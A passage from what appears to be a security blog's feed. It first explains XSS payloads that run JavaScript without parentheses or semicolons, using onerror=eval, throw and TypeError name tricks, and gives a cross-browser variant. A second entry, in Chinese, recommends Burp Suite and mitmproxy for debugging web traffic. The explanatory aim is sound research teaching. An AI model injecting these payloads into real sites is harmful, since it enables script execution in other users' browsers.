keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the <code>let</code> or <code>const</code> keywords, allowing variables to only exist within that block.</p><p>By utilizing a block, you can achieve the goal of separating code without needing semicolons:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>In addition to using blocks, there are other cooler methods.</p><p>First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The expressions in <code>if</code> will sequentially execute <code>console.log(1)</code>, <code>alert(1)</code>, and finally return true, so the result of the <code>if</code> is valid, printing true.</p><p>And <code>throw</code> can be followed by an expression, so you can:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will first execute <code>onerror=alert</code>, then execute <code>throw 1</code>, achieving the same effect as our method using <code>&#123;&#125;</code>. This is another way that doesn’t require semicolons.</p><p>The Chrome part ends here; the following is all efforts made for Firefox.</p><p>In Firefox, when there is an error, the format of the error message is different:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing <code>onerror</code> with <code>eval</code> no longer works.</p><p>So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just <code>Error:</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Since <code>Label:</code> is valid code in JavaScript, you can directly place code after it, making it easy:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, using <code>Error()</code> introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.</p><p>Recently, I saw Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">tweet</a> that Firefox is going to remove this feature: <a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>, so he found a new method:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.</p><h2><span id="other-payloads">Other payloads</span></h2><p>There are other payloads mentioned by others in the original post.</p><p>The first one comes from <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>Because it is connected by commas, the part that gets thrown will be the last segment.</p><p>Let’s start with the last segment. What does <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> do?</p><p>First, <code>a</code> is <code>URL+0</code>, and <code>URL</code> is a global function. The function + 0 will become a string, so <code>a</code> is <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>, thus <code>a[12]</code> and <code>a[13]</code> are <code>(</code> and <code>)</code> respectively.</p><p>The <code>/1/g</code> is a regexp, and when it becomes a string, it will be <code>&quot;/1/g&quot;</code>. As for the array <code>[1337,3331,117]</code>, when converted to a string, it will call <code>join</code>, resulting in <code>&quot;1337,3331,117&quot;</code>.</p><p>Putting it all together, <code>/1/g+a[12]+[1337,3331,117]+a[13]</code> will be <code>/1/g(1337,3331,117)</code>.</p><p>Combined with what was mentioned earlier, the error message thrown will be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Here, the <code>/</code> was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., <code>a / b / c</code>, where <code>a</code> is <code>Uncaught</code>, <code>b</code> is <code>1</code>, and <code>c</code> is <code>g(1337,3331,117)</code>.</p><p>If <code>Uncaught</code> is not declared, it will throw an error, which is why <code>Uncaught=1</code> is needed. Then <code>g</code> will be treated as a function, so <code>g=alert</code>.</p><p>What about the first line <code>/a/</code>? This is likely just to prevent a space between <code>throw</code> and the subsequent payload, and it doesn’t serve any other purpose.</p><p>The essence of this solution lies in making the error message become <code>Uncaught /1/g(1337,3331,117)</code> when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function <code>g</code>.</p><p>The second one comes from <a href="https://x.com/cgvwzq">@cgvwzq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This is actually divided into two statements. The first statement is: <code>TypeError.prototype.name =&#39;=/&#39;</code>, which forcibly changes the name of <code>TypeError</code> to <code>=/</code>.</p><p>Without this line, the error message for <code>0[0][&#39;test&#39;]</code> would be: <code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code>.</p><p><code>0[0]</code> will be undefined, and <code>undefined[&#39;test&#39;]</code> will throw this TypeError.</p><p>After we forcibly change the name:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>We can control the original part of <code>TypeError</code> to become any string.</p><p>The other statement <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code> simply places the assignment inside <code>[]</code>. After the assignment, it is equivalent to <code>0[eval]</code>, which will return undefined, thus throwing a TypeError.</p><p>Let’s look at it another way, with the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>The error message generated in Chrome would be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Now the problem becomes how to control the string above to make the error message a valid piece of code?</p><p>In place of <code>&#123;1&#125;</code>, the author placed <code>=/</code>, resulting in <code>Uncaught=/</code>. This <code>/</code> actually means regexp, so the idea of this method is to make the string before <code>&#123;2&#125;</code> (<code>: can&#39;t access property &quot;</code> ) become part of the regexp.</p><p>Thus, the beginning of <code>&#123;2&#125;</code> is <code>/</code>, forming a regexp with the preceding part, and then using <code>-alert(1)</code> to execute the function. It can also be changed to <code>+alert(1)</code>, as it just needs to string the two operations together. After execution, the subsequent code is all commented out with <code>//</code>, so it can be ignored.</p><p>However, if you actually run the above payload, you will find that Chrome returns the error message: <code>Invalid regular expression ... Unterminated group</code>. This is because there is a <code>(</code> in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a <code>)</code> to fix it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>The generated error message will be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>A simplified version would be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: <code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>.</p><p>If you want to debug, just change <code>onerror=eval</code> to <code>onerror=console.log</code> to see what the generated error message looks like:</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="summary">Summary</span></h2><p>In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.</p><p>To understand the payload, you need to be somewhat familiar with JavaScript code, such as <code>0[onerror=eval]</code> or the use of commas; you should at least know what’s going on.</p><p>Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.</p><p>Finally, here are a few key points:</p><ol><li>Commas can chain multiple expressions, returning the last one.</li><li>Replacing onerror with eval allows you to execute the error message as code.</li><li>Errors thrown will become part of the error message.</li><li>As long as you can turn the error message into valid code, you’ve succeeded.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I received an email from a reader asking if I could write an article explaining &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;, saying that the payloads in it were hard to understand.&lt;/p&gt;
&lt;p&gt;Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>人人都需要一個 HTTP proxy 來 debug</title>
    <link href="https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:40:51.930Z</updated>
    
    <content type="html"><![CDATA[<p>身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。</p><p>但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？</p><span id="more"></span><h2><span id="devtools-真的會不夠用嗎是不是你不會用">DevTools 真的會不夠用嗎？是不是你不會用？</span></h2><p>舉幾個我實際碰過的案例，如果 DevTools 能解決那當然是最方便的，但我解決不了（也有可能是我不會用就是了）。另外，底下的 DevTools 指的都是 Chrome DevTools，或許其他瀏覽器的不會有這些問題。</p><h3><span id="重新導向前的請求細節看不到">重新導向前的請求細節看不到</span></h3><p>很多實作 OAuth 相關服務的網站在登入完成後，會跳轉到 redirect url 並且帶著一個 code，而這時有些網站會拿 code 去交換 access_token，然後再帶著 access_token 跳轉到下一個頁面。如果 code 交換 access_token 這一步有問題，該怎麼 debug 呢？</p><p>Chrome DevTools 在跳轉到其他頁面時，預設會把 console 跟 network 的東西都清空。有一個選項叫做「Preserve log」，把它勾起來以後看似問題就解決了，但其實沒有。</p><p>大家可以隨便找一個網頁，打開 DevTools 並且把保留 log 勾起來，然後執行以下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>當跳轉完成以後，雖然 Network 那邊確實可以看到這個請求，但點進去以後只會看到「Failed to load response data」：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="看不到請求"></p><p>這個問題從 2012 年就有人回報了，好不容易等了十幾年，2023 年底時說這個在 2024 的 roadmap 上，但目前依然沒有任何動靜：<a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>。</p><p>總之呢，在這個情境之下，看不到 response 基本上沒辦法 debug，很不方便。</p><h3><span id="websocket-連線握手失敗找不到原因">WebSocket 連線握手失敗找不到原因</span></h3><p>雖然我們平常在用 WebSocket 時，只需要一行程式碼就可以建立連接，但背後其實是分了兩步。</p><p>第一步會發出一個 HTTP Upgrade 請求，完成以後才切換到 WebSocket 連線。雖然大多數狀況之下第一步都會成功，那如果第一步失敗會怎樣呢？</p><p>我們可以請 AI 寫一個很簡單的 demo 出來：</p><pre class="line-numbers language-none"><code class="language-none">寫一個 nodejs websocket server，然後用一個 nginx 擋在前面nginx 的作用是當 url 含有 ?debug 的時候要回傳 500 錯誤當 websocket 連線後會往 client 自動發送 hello 的 message最後要包裝成可以用 docker compose 跑起來<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>等 AI 產完之後用 docker 跑起來，一樣隨便開個網頁建立連接，會發現帶有 debug 的那個連線請求，你只知道失敗了，卻完全不知道原因：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="看不到原因"></p><p>這個錯誤訊息甚至跟你隨便連一個沒開的 port 一樣，完全不知道為什麼會失敗，這樣也很難跟後端說問題在哪裡。</p><p>以上是兩個我有印象的範例，但實際開發中應該碰過更多更多，基本上都是只靠 DevTools 來看 Network 沒辦法解決的問題，要嘛是看不到，要嘛看到的東西不太對。</p><h2><span id="簡單好用的-http-proxy">簡單好用的 HTTP Proxy</span></h2><p>既然沒辦法靠 DevTools，那只能依賴更底層的工具了，例如說 HTTP Proxy！有些工具會在你本機起一個 proxy，這樣流量就會都經過它，自然而然就能看到所有的請求了，就不必再受限於 DevTools。</p><p>而且另一個好處是有地方可以互相對照，如果 proxy 顯示的跟 DevTools 顯示的不同，就有可能是 DevTools 顯示的東西有問題。</p><p>因此，誠心推薦大家找個 HTTP Proxy 來用，我自己用過的有這三個：</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>以前我剛接觸 proxy 時用的是 Charles，接觸到資安以後就改成用第二個 Burp Suite 了。它其實是個可以拿來做各種資安相關測試的工具，但我覺得你只拿來做 proxy 也沒問題，非常方便。</p><p>第三個 mitmproxy 是開源且免費的，知名度也很高，我偶爾也會用但是用的方式不太一樣，這個晚點再講。</p><h3><span id="把-burp-suite-當-proxy-app-來用">把 Burp Suite 當 Proxy App 來用</span></h3><p>先到官網下載個免費的社群版：<a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>打開之後按下 Next 然後 Start Burp，就會看到主畫面。你會發現它的功能很多，但我們先切到「Proxy」頁籤底下「HTTP history」這一頁就行了：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp 畫面"></p><p>然後那顆很顯眼橘色的「Open Browser」點下去，就會開啟它自帶的 Chrome 瀏覽器，可以用這個瀏覽器訪問任何一個網頁，例如說 example.com。</p><p>接著切回工具，就會發現 HTTP history 裡面記錄著所有請求的原始內容跟 response：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="請求紀錄"></p><p>如此一來，前面提過的跳轉案例跟 WebSocket 握手失敗，都可以在這邊看到原始請求內容，錯誤一目瞭然：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="原始內容"></p><p>如果未來你碰到有些請求看不到，那就是被預設的 filter 篩選掉了，點 Filter settings 那邊選 show all 後 apply，應該就能看到了。</p><p>（若是有碰到不安全的連線等問題，需要先安裝憑證，請參考：<a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>）</p><p>以上就是 Burp Suite 做為 HTTP Proxy 的基本介紹。如果你不想用它提供的 Chrome，也可以自己設置電腦或是瀏覽器的 proxy，它預設會在 8080 port。</p><p>舉例來說，我在 Mac 上會再裝一個 Chrome Canary 專門拿來 debug，用這個指令可以開啟並且設定好 proxy 位置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如此一來就能用自己熟悉的瀏覽器 debug 了。</p><p>話說 Burp Suite 還有很多其他功能啦，例如說重放請求或是暴力破解等等，不過我覺得一般工程師把它當 proxy 來用就已經幫助很大了。對完整功能有興趣的話可以參考 HackerCat 所寫的 <a href="https://hackercat.org/burp-suite-tutorial/web-pentesting-burp-suite-total-tutorial">Web滲透測試 – Burp Suite 完整教學系列</a>。</p><h3><span id="用-mitmproxy-搭配腳本動態改變內容">用 mitmproxy 搭配腳本動態改變內容</span></h3><p>mitmproxy 的安裝過程我就不多說了，可以參考<a href="https://docs.mitmproxy.org/stable/overview-getting-started/">官方文件</a>或是跟 AI 協作自己裝起來，安裝完之後也記得訪問一下 <code>http://mitm.it</code> 下載並安裝憑證，才能攔截到 HTTPS 的流量。</p><p>都安裝完以後，執行 <code>mitmproxy</code> 就能夠把 proxy 跑起來了，會看到一個 CLI 的介面。</p><p>那既然 Burp Suite 已經很好用了，什麼時候會用到 mitmproxy 呢？它有個好用的功能是可以透過簡單的 Python 腳本去客製化 proxy 的行為，非常方便。</p><p>舉例來說，假設因為某些原因，測試環境無法完全模擬正式環境，但你又不可能直接把 code 上到正式環境去測試。這時就可以用 proxy 動態替換 production 的 response，在本機模擬一些行為。</p><p>雖然 Chrome 也有<a href="https://developer.chrome.com/docs/devtools/override">覆蓋 response</a> 的功能，但限制比較多，例如說內容只能固定等等。我們自己用 proxy 搭配腳本，絕對是更彈性而且自由度更高的選擇。</p><p>底下是一個簡單的 mitm 腳本，目的是把我部落格的 script.js 用本機的來替換：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>用這個指令就可以跑起來：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接著用前面講過的指令打開一個設定好 proxy 的瀏覽器：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>再用瀏覽器訪問 <code>https://blog.huli.tw</code>，就能夠看出 script 的內容已經被替換。</p><h2><span id="結語">結語</span></h2><p>以上就是我平常自己會使用到的一些 proxy 以及使用方法。</p><p>太過依賴於瀏覽器不是件好事，只要瀏覽器沒有顯示，就不知道該怎麼辦。但前端工程師身為第一線，絕對是有辦法拿到整個 request 與 response，才能進一步釐清問題。以後若是碰到瀏覽器上看不到請求的問題，可以試試看使用 proxy 來拿到完整的請求以及響應。</p><p>除了電腦的網頁之外，手機也可以用，可以在 Android 上設定 proxy 連到同個 Wi-Fi 的電腦上，接著在手機上安裝憑證，就能攔截手機的流量。</p><p>最後再講一個小訣竅，在 Mac 的 CLI 執行指令時加上 <code>https_proxy=http://localhost:8080</code> 就能夠配置 